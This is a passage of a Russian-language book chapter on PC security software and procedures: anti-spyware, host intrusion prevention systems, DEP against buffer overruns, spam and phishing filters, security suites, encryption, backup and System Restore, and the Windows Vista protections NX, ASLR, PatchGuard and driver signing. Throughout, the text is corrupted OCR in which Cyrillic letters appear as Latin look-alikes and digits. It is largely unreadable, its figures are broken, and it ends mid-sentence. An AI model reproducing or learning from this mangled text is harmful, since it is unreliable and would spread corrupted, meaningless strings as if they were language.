Mcnonb3oBaHMe OpavBepoB akTU4eckn sBnsgeTcs obsasaTefibHbIM - A
peweHun no 6e3onacHOCTU: B OTNMYME OT npouecca unu cnyxobl, gpansep
CMNOXHO  HeuTpanusoBaTb  (BbIrPY3uUTb). BonbwnHCcTBO nporpamm
nogaepxuBaeT CBA3b ApavBepa C WHTepencomMm nporpaMmmbl, U Npu
HeOCTYNHOCTU nHTepdenca gpaneBep NepexoanT B pexmm 6noknpoBkn. 3To
ornposepraeT nonynapHbin MU O TOM, YTO, eCfln BpedoHOCHOW nporpaMmme
yaacTCcs BbIrpy3uTb MHTEPdENC aHTUBUPYCa Unmn BpaHamayapa, oHa nosyymT

nonHyto ceoboay paencteun. Camm no cebe nokasatenu CnocodbHOCTU
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NporpaMMHOro NpoAyKra COMpOTUBMATLCA BbIrpy3ke MHTepdenca He NMeroT
CYLLEeCTBEHHOro 3HayeHusd; NpuHuunuanbHbl B 4aHHOM Criydae WUHCTPYKLWUMU,
3aroXeHHble B [ApauBep Ha Crnyd4an YNOMSHYTOW BbIrPy3kU. TecTbl
NOKa3blBaoT, YTO BOMNbLUMHCTBO aHTUBMPYCOB M BpaHaMay3poB BCe paBHO He
NMO3BONAKT MporpaMMe BbIATU B CE€Tb WM MNPOU3BECTUM BPEOOHOCHbLIE

AENCTBUS Aaxe Npu BbIrPy>KEHHOM MHTepdence.

3) AHTUpeKnamMHble U aHTULUMMOHCKUE nporpammbl (anti-adware,
anti-spyware). 3T NpoayKTbl peanunayT NPOTUBOOEUCTBME HEKOTOPLIM
BUOAM  HeXenaTenbHOro nporpamMmHoro obecrneyeHusi; OObIMHO  OHMU
YCTPOEHbl NO Tuny aHTusupycHoro [10, T.e. MMEKT YYacCTUYHbIA WUNN
NMOSTHOLIEHHbIN MOHWUTOP, CKaHep No TpeboBaHWO M cucTeMy OOGHOBNEHMS
©a3bl JaHHbIX.

CneunanusnpoBaHHble UCCNegoBaHUS MOKasblBalOT, YTO NporpamMmbl
9TOro Kriacca npourpbiBaldT B KadecTBe OBOHapyXeHUs M YHUYTOXEHUS
noTeHumnansHo BpeaoHocHoro N0 nibomMy aHTMBUPYCHOMY NpoaykTy. Kpome
TOro, Ans psga NnodobHbIX pelleHu XapaKTepHbl COMHUTESbHbIE METOAbl
AeTekTUpoBaHUsa — oBbHapyXeHne No MMeHn dparna 6e3 ydyeta ocTarnbHbIX ero
NpPU3HaKoB, NpupasBHMBaHWE 3anncen B peecTpe, OCTaBndeMblX BUPYCOM, K
Hemy camomy, u ap. OfHako BbICOKMM YPOBEHb cCrpoca Ha MnoJobHble
peweHns B cTpaHax 3anaga opMupyeT BbICOKUMA YPOBEHb MNpenroKeHuUs
aHTULLNMOHCKNX NporpaMmM, B TOM 4YUCne FNOXHbIX (rogue antispyware), T.e.
oOHapyXmBatoLLnNX HecyLlecTByoLme yrposbl n npeanararLmnx
Nnosib30BaTesito onNnaTnTb UX yCTpPaHeHue.

AHTULLNNOHCKNE M aHTUPEKITaMHble NPOrpaMmbl MOryT ObiTb MOME3HbI B
KadecTBe [OMOJSIHEHUSA K aHTUBMPYCHOMY MPOAYKTY, €Cnu rnocnegHun He
OPUWEHTMPOBAH Ha [JeTekTMpoBaHue HexenaTtenoHoro [10; kKpome TOro,
nporpaMmbl  3TOrO Kracca MOryT crnocobCcTtBoBaTb OYUCTKE peecTpa OT
CNnefoB 3apaXeHus, eclniv aHTMBUMPYC He CrnpaBnseTcd C 9TON 3ajaden.

Hanbonee n3BecTHble N KayYecTBEHHblE npegcrtaBUTENN aHTUPEKINAMHbIX U
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aHTUWNMoHcknx nporpamm — Ad-Aware, AVG Anti-Spyware, Spybot — Search

and Destroy.

4) Cuctembl npepoTBpawieHna BTopxeHun (Host(ed) Intrusion
Prevention System, HIPS). lNpogykTbl 3TOro knacca ynpasnsaiT npasBamu
NPUNOXEHUIN Ha BbIMOSIHEHME TEX WUMWN WHbIX OENCTBUM, NOLOOHO TOMy, Kak
BpaHamayap ynpasnseT ceTeBblM AOCTYMOM; CXOLCTBO MPUHLMMIOB paboTbl
obycnosnueaetr TOT (pakT, 4YTO Hepegko HIPS obbeonHaTCa C
6paHamMayapom B COCTaBe OAHOMo 3alMTHOro NpoayKTa.

HIPS saBnsetca cpecTBOM MNPOaAKTUBHOW 3alUuUTbl, T.€. HE COLAEPXUT
6a3bl AaHHbIX CUrHaATyp BUPYCOB M HE OCYLLECTBMSAET UX OETEKTUPOBAHME;
Takum obpasom, HIPS onepupyeT He NOHATUAMM «NErMTUMHbIA hbann —
BPEOOHOCHbIN  pann», a TMNOHATUAMKU  «paspelleHHoe Odenctene —
3anpeLlleHHoe gencteumey. AdpdektnsHoctb HIPS moxet goxoamtb Ao 100%
npegoTBpalleHna noBpexageHna wunm UHPUUUMPOBaAHUA CUCTEMbl, OOHAaKOo
GonbWIMHCTBO NporpaMmm 3TOro kKknacca TpebyeT OT nonb3oBaTend
onpeneneHHblX 3HaHUN ONs ynpasrieHns M.

B cooTBeTCTBMM C NPUHLMMIOM OpraHusaumm 3awmutbl HIPS moryT ObiTb
nogpasgeneHbl Ha TP OCHOBHbIE rPYMMbl.

1) Knaccuyeckune HIPS — cuctembl, ocHalleHHble OTKPbITON Tabnvuen
npasun. Ha ocHoBaHun aTonm Tabnuubl gpansepbl HIPS paspewatot /
3anpewarT onpeneneHHble AeNCTBUMS CO CTOPOHbl MPUAOXeHU nunbo
3anpawuBaloT nosib3oBaTenss 0 TOM, 4YTO HeobxoouMmo npeanpuHATb Mo
OTHOLUEHMK K [aHHOMY [OencTtBuo. Takoe YCTPOMCTBO  CUCTEMbI
OPUEHTMPOBAHO Ha pPYYHOE YynpaBfieHMe paspeleHns MM W akTUBHOE
B3aMMOAENCTBME C NOSib30BaTeNeM, YTO NpeabsBrsieT BbiCOKMe TpeboBaHus
K KOMMETEHTHOCTM nocnegHero. B kayectBe npumepa MoryT ObITb

npuBegeHbl NpoaykTbl System Safety Monitor n AntiHook.

2) JKcneptHble HIPS, wvHaye HasblBaeMble MOBEOEHYECKUMU

3SBPUCTUKAMMU, OCYyLLEeCTBIIAOT aHarnms aKTUBHOCTHU pa60Ta+0Luero
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NpUNoXeHns. Ecnu COBOKYNHOCTb BbINOSTHAEMbIX AENCTBMA NpuobpeTtaeT
NoOO3PUTENBLHBIA NN ONacHbIN XapakTep, NPOAYKT AaHHOro Tvna coobuiaeT

O BEpOsiTHOM MPUCYTCTBMM  BPEOOHOCHOW nporpammbl.  [pumepom

akcnepTHon HIPS moxeT cnyxutb cuctema CyberHawk.

3) HIPS Ttuna Sandbox («neco4yHuua») peanuaylT nNPUHLKUN
MUWHUMAasibHOro B3aMMOAENCTBUS C Nosfib3oBartesieM. B ux ocHoBe nexut
pasfgeneHne npunoXeHUrM Ha AOOBEPEHHble W HedoBepeHHble; Ha paboTy
AO0BepeHHbIX npunoxeHnn HIPS He okasbiBaeT HMKAKOro BO3OEeUCTBUSA, B TO
BpeMdA KaK He[oBepeHHble 3anyckarTcs B cneumaribHOM MNpPOCTpaHCTBe,
OTrpaHNYEeHHOM OT CUCTEMbI. OTO NO3BONSET paboTaTb C NOAO3PUTENTbHLIMU
NpunoXxeHnamm 6e3 pucka MHOUUMPOBAHUA MU MOBPEXAEHUS CUCTEMbI U
n3yyaTb OTYETHbl 06 MX aKTUBHOCTWU. TUNUYHbIE NPEACTaBUTENN AAHHOMO TMna

— npoaykTbl DefenseWall HIPS 1 Sandboxie.

K HIPS npumbikaloT nporpaMmmHbie 1 annapaTHble CpeacTsa 3awuTbl OT
nepenonHeHnsa bydepa.

MepenonHeHnem Oydepa (buffer overrun) HasbiBaeTca 3anucb B
BblAeneHHyto obnacte namsatm  obbemMa  AaHHbIX,  MpeBbllakoLwero
3a8BMEeHHbIN AN Hee npegenbHbin 06beMm. BcneacrtBve aTOro AaHHbIE,
BbIxogdwmMe 3a npefensl 6ydepa, mMoryT ObiTb 3anucaHbl B cocegHue
obnactm namATM M NOBpeaUTb WX  codepxumoe.  JKcnnyaTtaums
nepenosiHeHNN bydepa ABSIETCS pacrnpocTpaHeHHOU yrpo3ou
BGesonacHocTn, N ANs NPOTUBOAEWCTBUS €W NPUHMMAOTCS ornpefesieHHble
Mepbl. B 4vacTtHocTu, 64-paspsgHble mogenu npoueccopos AMD un Intel
OCHaLLlalTCcAa annapaTHbIMM CpeacTBaMu 3almnThbl OT nepenonHeHns bydepa;
Ha YypPOBHE OnepauvoOHHOM CUCTEMblI 3TWU CpeacTBa NOAOEPXKUBAKOTCS
peweHnem DEP (Data Execution Prevention, npegoTepalleHne BbINOSHEHUS
AaHHbIX).

HacTtponkn DEP Ha onepauunoHHon cucteme Windows XP OOCTYnHbI Mo

afpecy



BbesonacHbin IHTepHeT. YHMBepcanbHas 3awmrta ans Windows ME — Vista 30

MaHenb ynpasneHus (knaccuyeckmn Bug) — Cuctema —  BKagka
[ononHutensHo — KHomMka [NapameTpsl B rpynne boicTpooencrteme — Bkragka
[MpenoTBpawieHne BbINOSTHEHUS OAAHHbIX.

B Windows Vista ans otobpaxeHus Bknagkn [JOnonHUTENbHO HEobxoaumo

HaXaTb |’:',OI'IOJ'IHI/ITeJ'II:HbIe napamMmeTpbl CUCTEMDbI.

Mo ymonuyaHuio DEP obcnyxuBaeT TOMbKO CUCTEMHbIE MNPOLIECCHI.
[laHHbIM BapuaHT ABNSEeTCA OonTUMaribHbIM, HO MNPU XenaHuu CyllecTByeT

BO3MOXHOCTb BKNo4MTb DEP ang Bcex npunoXxeHumn.

CpeacTBa npoTMBOAENCTBUA BPeAOHOCHbLIM CeTeBbIM TEXHOOMUAM

1) AHTUcnambl, nnu cnam-cpunbTpbl. AHTUCNAM-peLleHne B Lernom
MOXHO paccMaTtpmBaTb Kak cucteMy unbTpaunmm, npegHasHayvyeHHyr Ars
pasMexeBaHUs NOoJSIe3HbIX n HexxenaTenbHbIX coobLeHn;
KnaccuguumpoBatb M YTOYHATb WX cheunduky BO3MOXHO MO pPasHbIM
KpUTEPUSIM.

MoyToBbIe aHTUCMaMbl 3aHUMAKOTCA 0OPabOTKON 3MEKTPOHHBLIX MUCEM,
pa3bvpas UX Ha NonesHble, HexenaTtelfibHble W COMHUTEmNbHble. B
3aBMCMMOCTW OT HACTPOeEK N PYHKUMOHAa COMHUTESNbHAsA N HeXenarternbHas
noyta MOXET YHUYTOXaTbCH, NepemMeLlaTbCs B OnpeferieHHY nanky unm
nomeyvatbcsi 0cobbiM o06pa3oM. B NoO4YTOBbIX aHTUCNamax HaxoaaT
NPUMEHEHNE pasnnyHble TEXHOMOMMN UNbTPaLUN — aHanNn3 cogepXXaHus u
cogepxummoro, ©Genble M 4YepHble CAUCKW agpecoB, UCcnegoBaHue
dopManbHbIX NPU3HAKOB NUCbMa U ap.

MoyToBLIM aHTMCNam pacnonaraetca nMbo mexgy oTnpasuTenemMm U
nony4yaTtenem (HenocpeacCTBEHHO Ha MOYTOBOM CepBEpe WM Ha cepsepe
NnocTaBLMKa YCRyrM BHELIHEero adHanuaa nouyTbl), NMMbOo Ha KommnbloTepe
nonyyartens, rae BXoguT B COCTaB MNOYTOBOrO KNneHTa unu paboTtaeTt B BUae

oTAENbHOIO NPUIIOXKEHUA.
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AHTMCNaMbl AnNA CUCTEM MrHOBEHHbIX coolOweHun n Beb-chopm,
npeAaHasHayeHHbIX Ans nyénukaumm (popymoB, LOCOK OOBSBAEHUA U
T.N.), B OTNX4YME OT NOYTOBbIX, OObIYHO COCPEOOTOYEHBLI HE HA aHanM3e yxe
OTnpaBfeHHbIX COOBLEHMI, a Ha NpeaoTBpaLLEHMM NX aBTOMATU3MPOBaHHOM
oTnpasku. C 3TOM LEeNbIo UCMNONb3YHTCA CPeACcTBa, NO3BOMAKOWME OTNINYNTD
nonb3oBaTensi-4enoBeka OT NporpamMmmbl-poboTa, COKpaweHHO Ha3blBaeMoMu
«bom». [Onsa WHTepHeT-nenaxepoB W HeKoTopbix Beb-hopm aHTUCnam
peann3yeTca B BuAEe OOMNOSIHEHUs, MO3BOMAWEro 3agasaTb nuwyliemy
BOMNPOC WM MpUMHMMATbL €ro coobLieHns TONMbKO B Criydyae, ecrniv OoTBeT Ha
BONpOC Oblf1 BEPEH; APYron pacnpocTpaHeHHoW cuctemon anga Beb-dopm
ansetcds CAPTCHA — TecT TblopuHra gna pasnuyeHusi KOMMbOTEPOB U
nogen. JTOT TecT npeanaraeT Mnofb3oBaTesito pacrno3HaTtb CUMBOSIbI Ha

|/|3o6pa>|<eH|/||/| M BBECTU NX B MNOJie.

2) CpepctBa 3awmTtbl oT MUHTepHeT-MoLWweHHUYecTBa. B Hactosuwee
BpeMda  npotmBogencteme  (OULLIMHITY WU OpYyrUM  PasHOBUAHOCTAM
MoweHHnyectBa B CeTu OCyLWEeCcTBAAETCS NPEeUMyLEeCTBEHHO METOAOM
BEeEHNA YEpPHbIX CMUCKOB PECYpCOB, 3aMEYEeHHbIX B pPacnpocTpaHeHnn
HeXenaTtenbHOro  COAEPXMMOro UMM XUWEHUM  KOHnaeHUManbHOW
nHgopmauun. NogobHble cnvcku nogaepXxuBaroTcsa nNnbo HagcTponkamu /
AOMONHUTENBHBIMN MOAYNAMKU K obo3peBaTento (K npumepy, paclmnpeHune

SiteAdvisor ot McAfee), nnbo oTAEeNbHBIMU MPUNOXKEHUSMMN.

[MOMMMO OTAENbHBLIX MNPUNOXEHNA MEPEYMUCIIEHHbIX Bbllle TUMOB,
CYLLIECTBYIOT MHTEIPUPOBAHHbIE NaKeTbl OOHOr0 NPON3BOAMTENS ANSA 3aLUMUThI
komnbtoTepa B NHTepHeTe, HasbiBaeMble Internet Security, Security Suite u
T.N. OHN ob6beanHAlT B cebe aHTMBMpYC, OpaHaMayap M HECKOSbKO
AOMNOJSTHUTENbHbBIX CPeAcTB 3awmThl (KOHKpETHaa KOMMSEKTaunsa 3aBUCUT OT
npoussoauTens). PaccmMoTpym BO3MOXHbIM COCTaB NogoOHOro naketa Ha

npumepe npogykra Kaspersky Internet Security 2009 (puc. 5):
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%" [po0akTHEHAA 3aWHTa v POAMTENECEHA EOHTRONE

Puc. 5. Cocmas npozpammHo20 nakema Kaspersky Internet Security 2009

BugHo, 4TO AaHHbLIN NPOAYKT BKNOYaeT B cebs crneaylolime afeMeHTbl
N3 Yncna onncaHHbIX BblLLE:

1) AHTBUpPYC

2) Knaccuyeckasa HIPS («®unbTpauus akTUBHOCTUY), O6beanHEeHHas C
OpaHamayapom («CeTeBon 3KpaH»), n akcneptHasa HIPS («[MpoakTuBHas
3awmTa);

3) 3awumTta ot UHTepHeT-MoLWweHHU4YecTBa («AHTU-PULLNHIY)

4) 3awmTa ot cnama («AHTU-Criamy»)

Kpome TOro, nakeT cogepXut psg BCMOMOraTeslbHbiX MoOAynen —
cpeactBa  yganeHus peknamHblx 6aHHepoB co cTpaHuy, WHTepHeTa,
pasrpaHmyeHne pgoctyna K CeTu B 3aBMCUMMOCTM OT  KOHKPETHOro
nonb3oBaTensi KoMNbloTEPA U OpYyrue.

[MpenmMyLLecTBOM MHTErPUPOBAHHbLIX PeLUeHUn aBnseTca apdekTuBHoe
B3aMMOAENCTBME WX KOMMOHEHTOB (Hanpumep, dannbl, OeTEeKTUpyeMble
aHTMBMPYCOM KaK BpPefOHOCHble, aBTOMaTuyeckn b6nokupyrtcsa B Tabnuue
npasun HIPS) un oTcyTcTBME BHYTPEHHUX KOHIIMKTOB. B kavecTtse
HegocTaTka NOAoBHbLIX MAKETOB HEpPedKO Ha3blBalT UX €AUHUYHOCTL (T.€.,
ecnn BpPEeOOHOCHOW nporpamMme yaaeTcsl BbIBECTU MNPOAYKT M3  CTPOS,
pyLUMTCA BCS CUCTeMa 3awuThbl); cnegyeT, OOHAKo, 3aMEeTUTb, u4TO
coBpeMeHHoe  BpegoHocHoe 10 cnocobHO  nNpoTMBOAENCTBOBATH
3Ha4YMTENbHOMY KONMWYECTBY pPELIEeHMA OT pasHbIX NpousBoguTeNnen, u

CoOYeTaHWe OOHOro MOMyrsPHOrO aHTMBMpYyca C APYrUM  MOMynsipHbIM
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OpaHaMayapoM MOXeT OblTb aTakoBaHO C TOW e YCMELIHOCTb, YTO WU

NHTErpUPOBaHHbIV MaKerT.

O6patute BHMMaHMe: B npegenax OOHOW OMepauuMoOHHOM CUCTEMbI
XenaTtenbHO YyCTaHaBnmMBaTb TOSMbKO OAMH MOCTOSIHHO  paboTaroLwnim
9K3eMnnap TOM WM UHOM 3aLMUTHOM MNpOorpamMmbl. YCTaHOBKA HECKOJSIbKMX
aHTMBUPYCHbIX MOHUTOPOB, 6paHamaya3poB, CUCTEM nNpenoTBpaLLeHNs
BTOPXEHUM U T.O. MOXET NpMBOAUTbL K KOHIIMKTaM Mexay HUMU U K

NOBPEXOEHWNIO OnepaLoHHOW CUCTEMBI.

3awmta MHpopMauunm  OT  MNpPOrpaMMHbIX  Yyrpo3  6e3onacHoCTU
nogpasymeBaeT He TOSbKO NPOTMBOAENCTBME BPELOHOCHbLIM nporpamMmmam u
ceTeBblM TEXHONOrmaAM, HO U npoueaypbl npefoTBpaweHUs ee
(MHpopmaunn) notepb UM noBpexaeHUU. CyulecTByeT [OBE OCHOBHbIX
npouenypbl, nosponswowmnx obecneumBatb OOy 3alWNUTy [OaHHbIX OT
arpeccmBHbIX (QaKTOPOB: MNpoOrpamMMHoe LWndpoBaHME U  pe3epBHOE

KOnupoBaHue.

NMporpammHoe wucpoBaHue npeaHasHadaeTcs Ana 6e3onacHoro
XpaHeHns MHdopMaunKn, NPeacTaBnsaloWen Ty NN UHYKO LUEeHHOCTb. OBbIYHO
cpeacTBa WKMPOBaHNA peannsyloT MOeosIormio 3aWMLILEHHOIO XpaHUInLa,
T.e. Cneunanu3npoBaHHOro KOHTEWHEpa, B KOTOPbIN MONb3oBaTeflb MOXET
NOMECTUTb HEOBXOAMMbIE eMY aHHbIE N 3aKPbITb Naponem; bonee NpocTbie
CUCTEMbI LWNPYIOT HEMNOCPEACTBEHHO CaM OOBLEKT, KoTopbi Tpebyetcsa
3alUUTUTD.

[MporpammMHOEe LWINPpOBaAHME MOXET NPeaoTBpaTUTb NOBPEXOAEHNE UNnu
xuuweHne nHdopmauum BpeaoHocHbeim 10O, ogHako Heob6xoaMmMO 3aMeTUTb,
4yTO cCcdrepon ero OCHOBHOroO MPUMEHEHUS SBMAETCA CKopee 3ailuuta
KOHmnaeHUManbHbIX CBeAEHUN OT NOCTOPOHHUX NNL, UMEKLWLNX (OU3NYECKUI

AOCTYM K KOMMNbIOTEPY.
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PesepBHOe konupoBaHue, KaK crieqyeT u3 HasBaHud, nogpasymeBaet
co3faHue 3anacHbIX KONun nHdgopmaumm, JOCTyn K KOTOPbIM OTNn4aeTcs oT
AO0CTyna K UCXOAHbIM AaHHbIM. JTa (hopMynupoBKa MOXeT nogpasymeBaTb
co3faHuve 3almLeHHON 06nacTn Ha XeCTKOM ANCKe AN1S pa3MeLLeHns Konum,
KONMpoBaHWe [aHHbIX Ha APYron ou3n4eCcKUm XeCTKUN OUCK UITN CbEMHbIN
HocuTenb (KomnakT-guck unu Flash-npuBoa), nepepada konun Ha Opyrou
KoMmnbloTep 1 T.N. PesepBHOe konupoBaHue, Taknm obpasom, obecneumsaeT
BO3MOXHOCTb BOCCTAHOBMIEHMSI MHGOpPMauMM B criydae ee noTepu wunu
nospexgeHnda.  BO3MOXHO  aBTOMaTM3MPOBAHHOE  KOMUPOBaHME  C

NPMMEHEHMEM creynanbHoro nporpaMmHoro obecneveHusi (ApxvBauus

Windows, Nero BackltUp, Norton Ghost n ap.) nnbo konupoBaHue ¢annos

BPY4HYIO.
Pa3HOBMAOHOCTLIO pe3epBHOro KonmpoBsaHus ABINAETCA
BOCCTaHOBJIeHNWe CucTtemMmbl — COXpaHeHne COCTOSIHUN OI'IGpGLI,I/IOHHOVI

CUCTEMbl C BO3MOXHOCTbIO ee BO3BpaTa K onpefeneHHon toyke. Windows
MMEEeT  BCTPOEHHY  Ccnyxby BOCCTAHOBMEHUA  CUCTEMbI, KOTOpas
obecneunBaer 6as3oByl0  (PYHKUMOHANBbHOCTL AN COXPaHEHus un
BOCCTAHOBJIEHNSA BaXHbIX CUCTEMHbIX (pannos; ynpasfieHWe en OOCTYMHO Mo
afpecy

[MaHenb ynpasneHuna (knaccudeckun sug) — Cuctema — BocctaHoBneHune
CUCTEMBI.

HaHHble, wucnonb3dyemble BocctaHoBneHnem cuctembl  Windows,
XpaHATCA B 3awumuieHHon nanke System Volume Information, cosgaBaemon
Ha Kagom Aucke, Onsi KOTOpPOro BKMNHYeHa 3Ta cnyxba. BpepoHocHoe
nporpaMmmHoe obecneveHne, pasMmeLLaroeeca B CUCTEMHbIX Nankax, MoXeT
OblTb COXpaHEHO HapaBHE C NerMTUMHbIMU harnamu, NO3TOMY NMpu fevyeHum
CUCTEMbI MOXET noTpeboBaTbCA OYUCTKA paHEE COXPaHEHHbIX TOo4YeK
BOCCTaAHOBMNEHUs. [ns O4YUCTKM O0CTaTOYHO OTKMYMTL BoccTtaHoBneHue
CUCTEeMbl Ha BCEX AUCKaX, a 3aTEM BKIOYNTb BHOBb.

Ecnn Bbl nonb3yeteCcb CTOPOHHUMM pelweHunemMm aOna BOCCTaHOBJIEHUA
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cuctembl (Norton GoBack, Acronis True Image, Paragon System Recovery u

T.n.), T0 BoccraHoBneHne cuctemol Windows MoxeT ObiTb OTKMHOYEHO
MOMHOCTbLHO.

OueBMaHO, YTO B MOMEHT KOMUPOBaHUSA WMHOPMaUua AosmkHa ObITb
3aBelOMO 4YMCTOW; B TMPOTUBHOM criydyae BpefoHocHoe [10  wnu
HexenaTernbHble Mmoandukaunmn cuctemsl 6yayT cCoOXpaHeHbl U BNOCNEACTBUM

ycnewHo BOCCTaHOBJ1EHbI.

MooBegemM WTOr M3NOXEHUIO CBEAEHW O cpeacteBax 3alutbl OT

NpOrpaMMHbIX Yrpo3 ¢ MOMOLLLIO AnarpamMmmsl (puc. 6).

CpeacTea 3allMTbl OT

‘/ NporpamMMHbIX yrpo3 \

MNMporpaMMHblie K1 annapaTHelE MopousAaypsl Mo obecnedsHD
/ MPoAYKTHI \ He30MacHOCTH AaHHbIX
MpoTrBECoASHCTEME MNpoTHEOAEHCTEWE MNporpammHoe <
BpedoHOCHOMy [0 BpeA0HOCHRIM CETEBRIM v dpoBaH1e
TEXHONOMMAM
= AHTHBWPD Y ChI FezspeHOS <
—> AHTHMCNAMBI KOMMpOBaHWE
" EpaHamaysphl
| 3aWkTa ot LHTEpHEeT- BoccTaHoBneHWe <
AHTHDEKNEMHBIE W RIS cHCTEME
= AHTHLUMKMOHCK e
Aporparal
CHcTemMbl
= NpeAoTERAaLLEHHA
BTORMEeHKMIA

Puc. 6. PeweHusi 0nsi 3auumbl 0m rpo2pamMmMHbIX yepo3

BcTpoeHHble cpeacTBa 3awmTtbl Windows Vista

3aBepluias 4YacTb KHUMM, MOCBSILLEHHYIO CpPeAcTBaM MNpPOTMBOOENCTBUS

nporpaMmmMHbIM  yrpo3am, Mbl COYJIIN HGOGXOD,VIMbIM OCYLLECTBUTb TaKXe
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KpaTkoe 0003peHne KOMMOHEHTOB, BBELEHHbLIX B OMEpPauUUNOHHY CUCTEMY
Windows Vista Cc uenbto noBbllleHUss ee 6e3onacHocTn. MHeHus o
BCTPOEHHbIX cucTemMax 3awuTbl gaHHon OC cywecTBEHHO pasHATCS — OT
abConTHOrO OTpMUAHNA UX APPEKTUBHOCTM OO0 NPEANOYTEHUS YNOMSHYTbIX
CpeacTB BCEM WHbIM pelwleHusM ans obecneyeHuss 6e3onacHOCTU; Hallen
uenbto 6yoet nepedncrieHne OCHOBHbIX 3alMTHbIX MexaHu3amoB Windows
Vista 1 npeacTaBfneHne MX OCHOBHbIX XapakTEPUCTUK, KOTOPblIe MO3BOSISAOT

CyAnTb 00 X LLEHHOCTU C TOYKU 3PEHMS 3aLLUMTbI OT MPOrPaMMHbIX Yrpo3.

TexHonozausi NX (No eXecute)

NX nossonder nporpammHOMYy obecrneyeHuto nomevaTtb CEermMeHThl
namsaTn, B KOTOPbIX OyayT XpaHUTbCA TOSMbKO AdaHHbIE, M MPOLECCOP He
NO3BOSNIUT NPUMOXKEHUAM U Cry>kKbaM UCMONHATL MPOU3BOSbHBIA KOA4 B 3TUX
cermeHTax. B HacToswwee Bpema nogasnswouiee 60MbLLMHCTBO NPOLECCOPOB
noaaepXXnuBaeT 3Ty TEXHOSOIMI TeM UM UHbIM 06pa3oM; B CBOKO odepenb, B
Windows, HaumHas ¢ Windows XP SP2, nmeeTtcs nogaepka npoLeccopos C
NX-TexHonornen nocpencrtsomM WHCTpymeHTa Data Execution Prevention,
KOTopbIM 6bin  ynomsHyT Hamu paHee. Windows Vista obecneunBaet
pacLVpPEHHYO NoOOEPXKY  9TOM TEXHOMNOMMU, 4YTO no3sonsieT
npoussogutenam MO gna pgaHHon OC BcTpamBatb NX-3awuTy B CBOM

nporpamMmmMHbl€ NPOAYKTbI.

CnyuJatHoe pacrionoxeHue adpecHoz2o rpocmpaHcmea (ASLR)

OTOT BMA 3awuTbl, Mcnosnb3yemblin B Vista, npu3BaH 3aTpygHUTb
MCMONb30BaHNE  CUCTEMHbIX  OYHKUMA  BPELOHOCHbIM  MPOrpaMmMHbIM
obecneveHnemM. Kaxpgblh pas, Korga nNpouMCXoauT nepesarpys3ka CUCTEMBbI,
ASLR B cnydyanHomMm nopsgke HasHayvaeT 1 n3 256 BO3MOXHbIX BapuUaHTOB

agpeca, rge AOOoJIXHbl pacnojiaratbCA OCHOBHblE CUCTEMHbIE OUHAMUYECKne
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6mMbnuoTtekn M ncnonHsemble dannbl; COOTBETCTBEHHO, BpegoHOCHoMy 10
CTAHOBUTCS CroXHee obHapyXmnBaTb CUCTEMHbIE dhannbl-LEeNN, 3a CYET Yero
OCYLLECTBNAETCA NpPOTUBOAENCTBUE BbINOMHEHUIO ero dyHkuun. ASLR
npeonoyYTUTENLHO UCMONb30oBaTb CoBMeCcTHO ¢ DEP, nockonbky nepBas
cnocobHa npegoTBpallaTh aTtakuy, HanpaBfeHHbIE NPOTUB NOCNEAHEN; TaKUM
obpasom, ABe TEeXHONorMM B3aMMHO 3ailumwiatoT gpyr gpyra. Kpome Toro, B
Windows Vista ycoBepLIEeHCTBOBAaH MOMEHT, CBA3aHHbIA C onpeaeneHuem
nepenonHeHna obnactm namatn, KoTopas BblAenseTcs TOW WM NHOW
(Npexae BCEro CUCTEMHOW) MporpaMmme Ans AMHAMUYECKM pasMeLlaemblX
CTPYKTYP AaHHbIX. Kak yxe ckasaHo, 3TO B MNepByl o4vepedb OTHOCUTCS K
CUCTEMHbIM MPOrpaMMHbIM KOMMOHEHTAM, HO MOXET MUCMNOMb30BaThbCA M AN

nporpamMmm CTOPOHHUX NPON3BOANTENEN.

3awuma siopa (x64)

64-0uTHble Bepcum Vista nogaepXmBatoT T.H. TEXHOSOMMUIO 3alUUThbI
agpa (PatchGuard). CywHOCTb OaHHOW TEXHOMNOrMM COCTOUT B 3anpete
HEeCaHKLMOHUPOBAHHOIO U3MEHEHNA dapa onepaunoHHon cuctembl. MHorga
npoussoautenu MO cumTaldoT BO3MOXHbLIM U MPaBUIIbHbIM BMELUMBATLCA B
paboTy agpa cucTemMbl, YTOBbI ANs TEX UNU UHbIX Lenen N3MeHaTb agpeca
dyHKUMN-06paboTunkoB B Tabnuue cncteMHblx Bol3oBoB. Cama no cebe ata
BO3MOXHOCTb HE MnpeacTaBnseT OnacHOCTW, OAHaKo MOAOBGHYK nogMeHy
MOXET BbIMOMHATb KaK NerMTMMHoe, Tak U BpegoHocHoe 10, 4yTo mMoxeT
NPUBECTU K HEXeNnaTenbHbIM nocneacTenam. [ns ncknioyYeHnst BO3MOXKHOCTU
GECKOHTPOSIbHOrO CTOPOHHEr0 BMeLllaTenbcTBa B paboTy sapa cucTeMbl W,
COOTBETCTBEHHO, 3awmntbl OC OT HaHeceHuMsa en Bpeda OnuUCaHHbIM Bbllle
MeToaomMm, B 64-OMTHbIX BapuaHTax Vista noggoepKuMBaeTcsl AaHHbIN
3alUNTHBLIM MexaHM3M. pu nonbITKe BMELWaTbCa TakMm crnocobom B paboTty
agpa  npovsonaeT  3aBeplleHne  paboTbl  cucteMbl (OTMETUM, 4TO

AonycKkaeTcs UsMeHeHue sigpa oduumanbHbiMu 06HoBNeHUAMM oT Microsoft).
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lNodnuckieaHue Opalsepos

MexaHnam npoBepkn UndpoBON Noanucu ApamBepoB Obin BBEAEH B
Windows 2000, n, xoTd C TOro MOMEHTa cyllecTBoBasia BO3MOXHOCTb
3anpeTa YCTaHOBKW ApanBepoOB, HE CHaBXEHHbIX LMdpoBON MOAMNUCHIO, Ha
npakTuKe oHa MCnorib3oBasiacb AOBOSIBHO PeaKo, NpeXxae BCero notomy, 4To
camux gparneepoB, obnagaBlmx UMpPOBOM NOAMUCHLIO, BLINO HE TaK YX U
MHOrO; B cuny atoro no ymondanuio OC nuwb npeaynpexgana o ToM, 4YTo
coBepLlaeTcs NonbiTka YyCTaHOBUTbL HenognucaHHbln apaneep. B HacTosiwee
Bpemd, korga Microsoft ctana TpeboBaTtb NpegocTaBnATb €/ gpanBepa Ha
cepTuduKkauuo 1 noanucb, KONNMYECTBO NOANUCAHHbLIX ApanBEpPOB BO3POCHIO,
4YTO, B CBOI 0Yepeb, NO3BOSINIMO YXKECTOUNTbL OTHOLLEHME K HENOAMNNUCAHHbLIM
apanBepaM. CneacTemst 3TOr0 Y»KECTOMEHUA MOXHO HabntoaaTe B Vista x64,
roe yctaHoBKa HenognucaHHOro Aparveepa MosfIHOCTbI0 HEBO3MOXHA; B 32X-
